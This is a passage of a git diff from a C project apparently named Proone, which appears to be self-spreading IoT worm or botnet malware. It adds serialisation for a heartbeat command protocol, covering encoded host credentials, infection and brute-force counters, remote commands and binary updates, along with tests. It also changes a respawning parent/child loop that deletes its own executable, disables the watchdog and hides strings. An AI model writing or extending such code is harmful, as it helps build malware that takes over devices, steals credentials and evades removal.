proto_buf_cnt_len) == 0); + assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_msg_head(&mh_a, &mh_b)); + // just testing (placeholder) + prne_htbt_free_msg_head(&mh_a); + prne_htbt_free_msg_head(&mh_b); + + // status + prne_htbt_init_status(&s_a); + prne_htbt_init_status(&s_b); + s_a.code = PRNE_HTBT_STATUS_ERRNO; + s_a.err = EHOSTUNREACH; + assert(prne_htbt_ser_status(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &s_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == 5 && memcmp("\x02\x00\x00\x00\x71", proto_buf, 5) == 0); + assert(prne_htbt_dser_status(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &s_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_status(&s_a, &s_b)); + prne_htbt_free_status(&s_a); + prne_htbt_free_status(&s_b); + + // empty cred + prne_init_host_cred(&hc_a); + prne_init_host_cred(&hc_b); + assert(prne_alloc_host_cred(&hc_a, 0, 0)); + hc_a.id[0] = 0; + hc_a.pw[0] = 0; + assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, salt, &hc_a) == PRNE_HTBT_SER_RC_OK); + assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_eq_host_cred(&hc_a, &hc_b)); + prne_free_host_cred(&hc_a); + prne_free_host_cred(&hc_b); + // normal case + assert(prne_alloc_host_cred(&hc_a, 255, 255)); + strcpy(hc_a.id, test_id); + strcpy(hc_a.pw, test_pw); + assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, salt, &hc_a) == PRNE_HTBT_SER_RC_OK); + cred_data_len = proto_buf_cnt_len; + cred_data = (uint8_t*)prne_malloc(1, proto_buf_cnt_len); + memcpy(cred_data, proto_buf, proto_buf_cnt_len); + assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_eq_host_cred(&hc_a, &hc_b)); + prne_free_host_cred(&hc_a); + prne_free_host_cred(&hc_b); + + // host info + prne_htbt_init_host_info(&hi_a); + prne_htbt_init_host_info(&hi_b); + prne_htbt_alloc_host_info(&hi_a, cred_data_len); + hi_a.parent_uptime = 0xABBABABEFEFFFFFE; + hi_a.child_uptime = 0xDEADBEEFAABBCCDD; + hi_a.rerun_cnt = 0x1122334455667788; + hi_a.bne_cnt = 0x8899AABBCCDDEEFF; + hi_a.infect_cnt = 0xABBAABBAABBAABBA; + hi_a.parent_pid = 0xDEADBEEF; + hi_a.child_pid = 0xBABEBABE; + memcpy(hi_a.prog_ver, PRNE_PROG_VER, 16); + memcpy(hi_a.boot_id, "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55", 16); + memcpy(hi_a.instance_id, "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85", 16); + memcpy(hi_a.cred, cred_data, cred_data_len); + hi_a.arch = prne_host_arch; + assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == 99 + cred_data_len && + memcmp(proto_buf, PRNE_PROG_VER, 16) == 0 && + memcmp(proto_buf + 16, + "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55" + "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85" + "\xAB\xBA\xBA\xBE\xFE\xFF\xFF\xFE" + "\xDE\xAD\xBE\xEF\xAA\xBB\xCC\xDD" + "\x11\x22\x33\x44\x55\x66\x77\x88" + "\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF" + "\xAB\xBA\xAB\xBA\xAB\xBA\xAB\xBA" + "\xDE\xAD\xBE\xEF" + "\xBA\xBE\xBA\xBE" + "\x02\x01", + 82) == 0 && + proto_buf[16 + 82] == (uint8_t)prne_host_arch && + memcmp(proto_buf + 16 + 82 + 1, cred_data, cred_data_len) == 0); + assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_host_info(&hi_a, &hi_b)); + prne_htbt_free_host_info(&hi_a); + prne_htbt_free_host_info(&hi_b); + + prne_htbt_init_cmd(&cmd_a); + assert(prne_htbt_set_cmd(&cmd_a, long_args)); + assert(!prne_htbt_set_cmd(&cmd_a, too_long_args)); + assert(prne_htbt_set_cmd(&cmd_a, long_mem_args)); + assert(!prne_htbt_set_cmd(&cmd_a, too_long_mem_args)); + // empty cmd + assert(prne_htbt_set_cmd(&cmd_a, NULL) && cmd_a.argc == 0 && cmd_a.args == NULL && cmd_a.mem == NULL && cmd_a.mem_len == 0); + assert(prne_htbt_set_cmd(&cmd_a, empty_args) && cmd_a.argc == 0 && cmd_a.args == NULL && cmd_a.mem == NULL && cmd_a.mem_len == 0); + assert(prne_htbt_ser_cmd(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &cmd_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == 2 && memcmp(proto_buf, "\x00\x00", 2) == 0); + prne_htbt_free_cmd(&cmd_a); + // cmd + prne_htbt_init_cmd(&cmd_a); + prne_htbt_init_cmd(&cmd_b); + assert(prne_htbt_set_cmd(&cmd_a, test_args)); + assert(prne_htbt_ser_cmd(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &cmd_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == sizeof(test_args_mem) && memcmp(proto_buf, test_args_mem, sizeof(test_args_mem)) == 0); + assert(prne_htbt_dser_cmd(proto_buf, proto_buf_cnt_len, &actual, &cmd_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_cmd(&cmd_a, &cmd_b)); + prne_htbt_free_cmd(&cmd_a); + prne_htbt_free_cmd(&cmd_b); + + // bin meta + prne_htbt_init_bin_meta(&bm_a); + prne_htbt_init_bin_meta(&bm_b); + assert(prne_htbt_set_cmd(&bm_a.cmd, test_args)); + bm_a.bin_size = 0xBBAAEE; + assert(prne_htbt_ser_bin_meta(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &bm_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == sizeof(test_args_mem) + 3 && memcmp(proto_buf, "\xBB\xAA\xEE", 3) == 0 && memcmp(proto_buf + 3, test_args_mem, sizeof(test_args_mem)) == 0); + assert(prne_htbt_dser_bin_meta(proto_buf, proto_buf_cnt_len, &actual, &bm_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_bin_meta(&bm_a, &bm_b)); + prne_htbt_free_bin_meta(&bm_a); + prne_htbt_free_bin_meta(&bm_b); + + + prne_free(cred_data); + cred_data = NULL; + cred_data_len = 0; +} diff --git a/src/proone.c b/src/proone.c index 4a58234..4fd9a63 100644 --- a/src/proone.c +++ b/src/proone.c @@ -88,6 +88,23 @@ static void handle_sigpipe (const int sn) { } #endif +static void handle_sigchld (const int sn) { + const int saved_errno = errno; + pid_t reaped; + + do { + reaped = waitpid(-1, NULL, WNOHANG); + } while (reaped > 0); + + errno = saved_errno; +} + +static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) { + if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { + mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); + } +} + static int proone_main (void) { #ifdef PRNE_DEBUG static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s @@ -105,11 +122,15 @@ static int proone_main (void) { } dbg; #endif + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.child_start)); + seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); + #ifdef PRNE_DEBUG signal(SIGPIPE, handle_sigpipe); #else signal(SIGPIPE, SIG_IGN); #endif + signal(SIGCHLD, handle_sigchld); #ifdef PRNE_DEBUG prne_init_wkr_sched_req(&dbg.sched); @@ -120,13 +141,6 @@ static int proone_main (void) { prne_init_wkr_tick_info(&tick_info); prne_init_llist(&wkr_pool); alloc_workers(&sched_req); - if (pipe(int_pipe) == 0) { - prne_set_pipe_size(int_pipe[0], 1); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); - } int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req); if (int_pfd != NULL) { int_pfd->pfd.fd = int_pipe[0]; @@ -218,7 +232,7 @@ END: static bool ensure_single_instance (void) { prne_g.lock_shm_fd = shm_open( prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), - O_RDWR | O_CREAT, + O_RDWR | O_CREAT | O_CLOEXEC, 0666); prne_dvault_reset_dict(); if (prne_g.lock_shm_fd < 0) { @@ -278,10 +292,13 @@ static void disasble_watchdog (void) { } static void handle_interrupt (const int sig) { + const int saved_errno = errno; uint8_t rubbish = 0; prne_g.caught_signal = sig; write(int_pipe[1], &rubbish, 1); + + errno = saved_errno; } static void setup_signal_actions (void) { @@ -362,12 +379,6 @@ static void load_ssl_conf (void) { } } -static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) { - if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { - mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); - } -} - static void init_shared_global (void) { // just die on error const size_t str_len = 1 + 30; @@ -397,22 +408,52 @@ static void init_shared_global (void) { prne_s_g->bne_cnt = 0; prne_s_g->infect_cnt = 0; + prne_s_g->ny_bin_name[0] = 0; +} + +static void init_ids (void) { + char line[37]; + int fd = -1; + + if (mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, prne_g.instance_id, sizeof(prne_g.instance_id)) != 0) { + memzero(prne_g.instance_id, sizeof(prne_g.instance_id)); + } + + memzero(prne_g.boot_id, 16); + do { // fake loop + fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY); + if (fd < 0) { + break; + } + + if (read(fd, line, 36) != 36) { + break; + } + line[36] = 0; + + if (!prne_uuid_fromstr(line, prne_g.boot_id)) { + break; + } + } while (false); + prne_close(fd); +} + +static void run_ny_bin (void) { + // TODO } int main (const int argc, char **args) { static int exit_code = 0; - static int exit_pipe[2] = { -1, -1 }; prne_g.host_cred_data = NULL; prne_g.host_cred_size = 0; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.parent_start)); prne_g.run_cnt = 0; prne_g.resolv = NULL; - prne_g.god_exit_evt = -1; prne_g.caught_signal = 0; - prne_g.god_pid = getpid(); - prne_g.proone_pid = 0; + prne_g.parent_pid = getpid(); + prne_g.child_pid = 0; prne_g.lock_shm_fd = -1; prne_g.bin_ready = false; prne_g.is_child = false; @@ -433,18 +474,11 @@ int main (const int argc, char **args) { // inits that need no outside resources prne_init_dvault(); set_env(); - if (pipe(exit_pipe) == 0) { - prne_set_pipe_size(exit_pipe[0], 1); - prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC)); - prne_g.god_exit_evt = exit_pipe[0]; - } /* inits that need outside resources. IN THIS ORDER! */ load_ssl_conf(); seed_ssl_rnd(NULL, 0); + init_ids(); init_shared_global(); delete_myself(args[0]); disasble_watchdog(); @@ -465,21 +499,29 @@ int main (const int argc, char **args) { prne_close(STDERR_FILENO); #endif + if (pipe(int_pipe) == 0) { + prne_set_pipe_size(int_pipe[0], 1); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + } setup_signal_actions(); // main loop while (prne_g.caught_signal == 0) { - prne_g.proone_pid = fork(); + prne_g.child_pid = fork(); - if (prne_g.proone_pid >= 0) { + if (prne_g.child_pid >= 0) { prne_g.run_cnt += 1; } - if (prne_g.proone_pid > 0) { + if (prne_g.child_pid > 0) { static int status; + static bool has_ny_bin; while (prne_g.caught_signal == 0) { - if (waitpid(prne_g.proone_pid, &status, 0) < 0) { + if (waitpid(prne_g.child_pid, &status, 0) < 0) { if (errno != EINTR) { abort(); } @@ -490,33 +532,44 @@ int main (const int argc, char **args) { break; } + has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0; + if (WIFEXITED(status)) { if (WEXITSTATUS(status) == 0) { + if (has_ny_bin) { + run_ny_bin(); + // run_ny_bin() returns if fails + } break; } + #ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status)); + fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status)); #endif } else if (WIFSIGNALED(status)) { #ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status)); + fprintf(stderr, "* child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status)); #endif } + if (has_ny_bin) { + shm_unlink(prne_s_g->ny_bin_name); + memzero(prne_s_g->ny_bin_name, sizeof(prne_s_g->ny_bin_name)); + } + sleep(1); } else { prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; prne_g.is_child = true; - seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); exit_code = proone_main(); break; } } - prne_g.proone_pid = 0; + prne_g.child_pid = 0; END: prne_free_bin_archive(&prne_g.bin_archive); @@ -548,9 +601,5 @@ END: prne_deinit_dvault(); - write(exit_pipe[1], &exit_code, sizeof(int)); - prne_close(exit_pipe[0]); - prne_close(exit_pipe[1]); - return exit_code; } diff --git a/src/proone.h b/src/proone.h index ceee847..d0cb48e 100644 --- a/src/proone.h +++ b/src/proone.h @@ -15,13 +15,15 @@ struct prne_global { uint8_t *host_cred_data; size_t host_cred_size; - struct timespec god_start; + struct timespec parent_start; + struct timespec child_start; uint_fast64_t run_cnt; + uint8_t boot_id[16]; + uint8_t instance_id[16]; prne_resolv_wkr_ctx_t resolv; - int god_exit_evt; int caught_signal; - pid_t god_pid; - pid_t proone_pid; + pid_t parent_pid; + pid_t child_pid; int lock_shm_fd; bool bin_ready; bool is_child; @@ -53,6 +55,8 @@ struct prne_shared_global { uint_fast64_t bne_cnt; // Number of successful infections. uint_fast64_t infect_cnt; + // null-terminated name of new binary + char ny_bin_name[20]; }; static const intptr_t PRNE_RESOLV_WKR_ID = 0; diff --git a/src/protocol.c b/src/protocol.c index 6dd08da..b49c6ba 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -1,10 +1,18 @@ #include "protocol.h" +#include "util_rt.h" +#include "dvault.h" #include +#include +#include +#include #include +#define RETIF_NULL(x) if (x == NULL) { return; } + + const char *prne_arch_tostr (const prne_arch_t x) { switch (x){ case PRNE_ARCH_ARMV4T: @@ -35,37 +43,37 @@ const char *prne_arch_tostr (const prne_arch_t x) { } prne_arch_t prne_arch_fstr (const char *str) { - if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV4T)) == 0) { + if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_ARMV4T))) { return PRNE_ARCH_ARMV4T; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV7)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_ARMV7))) { return PRNE_ARCH_ARMV7; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_I686)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_I686))) { return PRNE_ARCH_I686; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_M68K)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_M68K))) { return PRNE_ARCH_M68K; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MIPS)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_MIPS))) { return PRNE_ARCH_MIPS; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MPSL)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_MPSL))) { return PRNE_ARCH_MPSL; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_PPC)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_PPC))) { return PRNE_ARCH_PPC; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV32)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_RV32))) { return PRNE_ARCH_RV32; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV64)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_RV64))) { return PRNE_ARCH_RV64; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SH4)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_SH4))) { return PRNE_ARCH_SH4; } - else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SPC)) == 0) { + else if (prne_nstreq(str, prne_arch_tostr(PRNE_ARCH_SPC))) { return PRNE_ARCH_SPC; } @@ -95,3 +103,807 @@ bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoi out->addr.ver = PRNE_IPV_6; return inet_pton(AF_INET6, str, &out->addr.addr) != 0; } + +void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh) { + mh->op = PRNE_HTBT_OP_NOOP; + mh->id = 0; + mh->is_rsp = false; +} + +void prne_htbt_free_msg_head (prne_htbt_msg_head_t *mh) {} + +bool prne_htbt_eq_msg_head (const prne_htbt_msg_head_t *a, const prne_htbt_msg_head_t *b) { + return + a->id == b->id && + a->op == b->op && + a->is_rsp == b->is_rsp; +} + +void prne_htbt_init_status (prne_htbt_status_t *s) { + s->code = 0; + s->err = 0; +} + +void prne_htbt_free_status (prne_htbt_status_t *s) {} + +bool prne_htbt_eq_status (const prne_htbt_status_t *a, const prne_htbt_status_t *b) { + return + a->code == b->code && + a->err == b->err; +} + +void prne_init_host_cred (prne_host_cred_t *hc) { + hc->id = NULL; + hc->pw = NULL; +} + +bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len) { + char *id, *pw; + + id = prne_alloc_str(id_len); + pw = prne_alloc_str(pw_len); + if (id == NULL || pw == NULL) { + prne_free(id); + prne_free(pw); + return false; + } + + prne_free(hc->id); + prne_free(hc->pw); + hc->id = id; + hc->pw = pw; + + return true; +} + +void prne_free_host_cred (prne_host_cred_t *hc) { + RETIF_NULL(hc); + + prne_free(hc->id); + prne_free(hc->pw); + hc->id = NULL; + hc->pw = NULL; +} + +bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b) { + return + prne_nstreq(a->id, b->id) && + prne_nstreq(a->pw, b->pw); +} + +prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const uint8_t salt, const prne_host_cred_t *in) { + const size_t id_len = prne_nstrlen(in->id); + const size_t pw_len = prne_nstrlen(in->pw); + + if (id_len > 255 || pw_len > 255) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + + *actual = 3 + id_len + pw_len; + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + data[0] = salt; + data[1] = (uint8_t)id_len; + data[2] = (uint8_t)pw_len; + memcpy(data + 3, in->id, id_len); + memcpy(data + 3 + id_len, in->pw, pw_len); + prne_dvault_invert_mem(id_len + pw_len + 2, data + 1, salt); + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out) { + uint8_t *in = NULL; + size_t in_len; + prne_htbt_ser_rc_t ret = PRNE_HTBT_SER_RC_OK; + char *id = NULL, *pw = NULL; + + if (!(3 <= len && len <= 3 + 255 + 255)) { + return PRNE_PACK_RC_FMT_ERR; + } + + in_len = len - 1; + in = (uint8_t*)prne_malloc(1, in_len); + if (in == NULL) { + return PRNE_PACK_RC_ERRNO; + } + memcpy(in, data + 1, in_len); + + prne_dvault_invert_mem(in_len, in, data[0]); + if ((uint_fast16_t)in[0] + (uint_fast16_t)in[1] > in_len - 2) { + ret = PRNE_HTBT_SER_RC_FMT_ERR; + goto END; + } + + id = prne_alloc_str(in[0]); + pw = prne_alloc_str(in[1]); + if (id == NULL || pw == NULL) { + ret = PRNE_HTBT_SER_RC_ERRNO; + goto END; + } + memcpy(id, in + 2, in[0]); + id[in[0]] = 0; + memcpy(pw, in + 2 + in[0], in[1]); + pw[in[1]] = 0; + + out->id = id; + out->pw = pw; + id = pw = NULL; + +END: + prne_free(in); + prne_free(id); + prne_free(pw); + + return ret; +} + +void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) { + hi->parent_uptime = 0; + hi->child_uptime = 0; + hi->rerun_cnt = 0; + hi->bne_cnt = 0; + hi->infect_cnt = 0; + hi->parent_pid = 0; + hi->child_pid = 0; + memzero(hi->prog_ver, 16); + memzero(hi->boot_id, 16); + memzero(hi->instance_id, 16); + hi->cred = NULL; + hi->cred_size = 0; + hi->arch = PRNE_ARCH_NONE; +} + +bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_size) { + void *ny_mem; + + if (!(3 < cred_size && cred_size <= 3 + 255 + 255)) { + errno = EINVAL; + return false; + } + + ny_mem = prne_malloc(1, cred_size); + if (ny_mem == NULL) { + return false; + } + + prne_free(hi->cred); + hi->cred = (uint8_t*)ny_mem; + hi->cred_size = cred_size; + + return true; +} + +void prne_htbt_free_host_info (prne_htbt_host_info_t *hi) { + RETIF_NULL(hi); + + prne_free(hi->cred); + hi->cred = NULL; + hi->cred_size = 0; +} + +bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b) { + return + a->parent_uptime == b->parent_uptime && + a->child_uptime == b->child_uptime && + a->rerun_cnt == b->rerun_cnt && + a->bne_cnt == b->bne_cnt && + a->infect_cnt == b->infect_cnt && + a->parent_pid == b->parent_pid && + a->child_pid == b->child_pid && + a->cred_size == b->cred_size && + a->arch == b->arch && + memcmp(a->prog_ver, b->prog_ver, 16) == 0 && + memcmp(a->boot_id, b->boot_id, 16) == 0 && + memcmp(a->instance_id, b->instance_id, 16) == 0 && + memcmp(a->cred, b->cred, a->cred_size) == 0; +} + +void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) { + cmd->mem_len = 0; + cmd->mem = NULL; + cmd->args = NULL; + cmd->argc = 0; +} + +bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len) { + size_t i, str_size, pos, mem_len; + char *mem = NULL; + char **args = NULL; + + if (argc > PRNE_HTBT_ARGS_MAX) { + errno = EINVAL; + return false; + } + + pos = 0; + for (i = 0; i < argc; i += 1) { + if (args_len[i] == SIZE_MAX) { + errno = ENOMEM; + return false; + } + str_size = args_len[i] + 1; + if (str_size + pos < str_size) { + errno = ENOMEM; + return false; + } + + pos += str_size; + } + + if (pos > PRNE_HTBT_ARG_MEM_MAX) { + errno = EINVAL; + return false; + } + + if (0 < argc) { + mem_len = pos; + args = (char**)prne_malloc(sizeof(char*), argc + 1); + mem = (char*)prne_malloc(1, mem_len); + if (args == NULL || mem == NULL) { + goto ERR; + } + + pos = 0; + for (i = 0; i < argc; i += 1) { + args[i] = mem + pos; + pos += args_len[i] + 1; + } + args[argc] = NULL; + } + else { + mem_len = 0; + } + + prne_free(cmd->args); + prne_free(cmd->mem); + cmd->mem = mem; + cmd->mem_len = mem_len; + cmd->args = args; + cmd->argc = argc; + + return true; +ERR: + prne_free(mem); + prne_free(args); + + return false; +} + +bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args) { + size_t *args_len = NULL; + size_t i, argc; + bool ret = true; + + if (args == NULL) { + prne_htbt_free_cmd(cmd); + return true; + } + + for (i = 0; args[i] != NULL; i += 1); + argc = i; + + if (argc == 0) { + prne_htbt_free_cmd(cmd); + return true; + } + + args_len = (size_t*)prne_malloc(sizeof(size_t), argc); + if (args_len == NULL) { + return false; + } + for (i = 0; i < argc; i += 1) { + args_len[i] = strlen(args[i]); + } + + if (!prne_htbt_alloc_cmd(cmd, argc, args_len)) { + ret = false; + goto END; + } + for (i = 0; i < argc; i += 1) { + memcpy(cmd->args[i], args[i], args_len[i]); + cmd->args[i][args_len[i]] = 0; + } + +END: + prne_free(args_len); + return ret; +} + +void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd) { + RETIF_NULL(cmd); + + prne_free(cmd->mem); + prne_free(cmd->args); + cmd->mem = NULL; + cmd->mem_len = 0; + cmd->args = NULL; + cmd->argc = 0; +} + +bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b) { + return + a->mem_len == b->mem_len && + a->argc == b->argc && + memcmp(a->mem, b->mem, a->mem_len) == 0; +} + +void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb) { + nb->bin_size = 0; + prne_htbt_init_cmd(&nb->cmd); +} + +void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb) { + RETIF_NULL(nb); + + prne_htbt_free_cmd(&nb->cmd); +} + +bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b) { + return + a->bin_size == b->bin_size && + prne_htbt_eq_cmd(&a->cmd, &b->cmd); +} + +prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in) { + uint16_t id; + + *actual = 3; + + if (mem_len < 3) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + if (in->id & 0x8000 || + PRNE_HTBT_OP_NONE == in->op || + (in->id == 0) ^ (in->op == PRNE_HTBT_OP_NOOP)) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + + id = (in->is_rsp ? 0 : 0x8000) | in->id; + mem[0] = (uint8_t)((id & 0xFF00) >> 8); + mem[1] = (uint8_t)((id & 0x00FF) >> 0); + mem[2] = (uint8_t)in->op; + + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in) { + *actual = 5; + + if (mem_len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + mem[0] = (uint8_t)in->code; + mem[1] = (uint8_t)(((uint32_t)in->err & 0xFF000000) >> 24); + mem[2] = (uint8_t)(((uint32_t)in->err & 0x00FF0000) >> 16); + mem[3] = (uint8_t)(((uint32_t)in->err & 0x0000FF00) >> 8); + mem[4] = (uint8_t)(((uint32_t)in->err & 0x000000FF) >> 0); + + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in) { + if (in->cred_size > 0 && !(3 <= in->cred_size && in->cred_size <= 3 + 255 * 2)) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + + *actual = 99 + in->cred_size; + + if (mem_len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + mem[0] = in->prog_ver[0]; + mem[1] = in->prog_ver[1]; + mem[2] = in->prog_ver[2]; + mem[3] = in->prog_ver[3]; + mem[4] = in->prog_ver[4]; + mem[5] = in->prog_ver[5]; + mem[6] = in->prog_ver[6]; + mem[7] = in->prog_ver[7]; + mem[8] = in->prog_ver[8]; + mem[9] = in->prog_ver[9]; + mem[10] = in->prog_ver[10]; + mem[11] = in->prog_ver[11]; + mem[12] = in->prog_ver[12]; + mem[13] = in->prog_ver[13]; + mem[14] = in->prog_ver[14]; + mem[15] = in->prog_ver[15]; + + mem[16] = in->boot_id[0]; + mem[17] = in->boot_id[1]; + mem[18] = in->boot_id[2]; + mem[19] = in->boot_id[3]; + mem[20] = in->boot_id[4]; + mem[21] = in->boot_id[5]; + mem[22] = in->boot_id[6]; + mem[23] = in->boot_id[7]; + mem[24] = in->boot_id[8]; + mem[25] = in->boot_id[9]; + mem[26] = in->boot_id[10]; + mem[27] = in->boot_id[11]; + mem[28] = 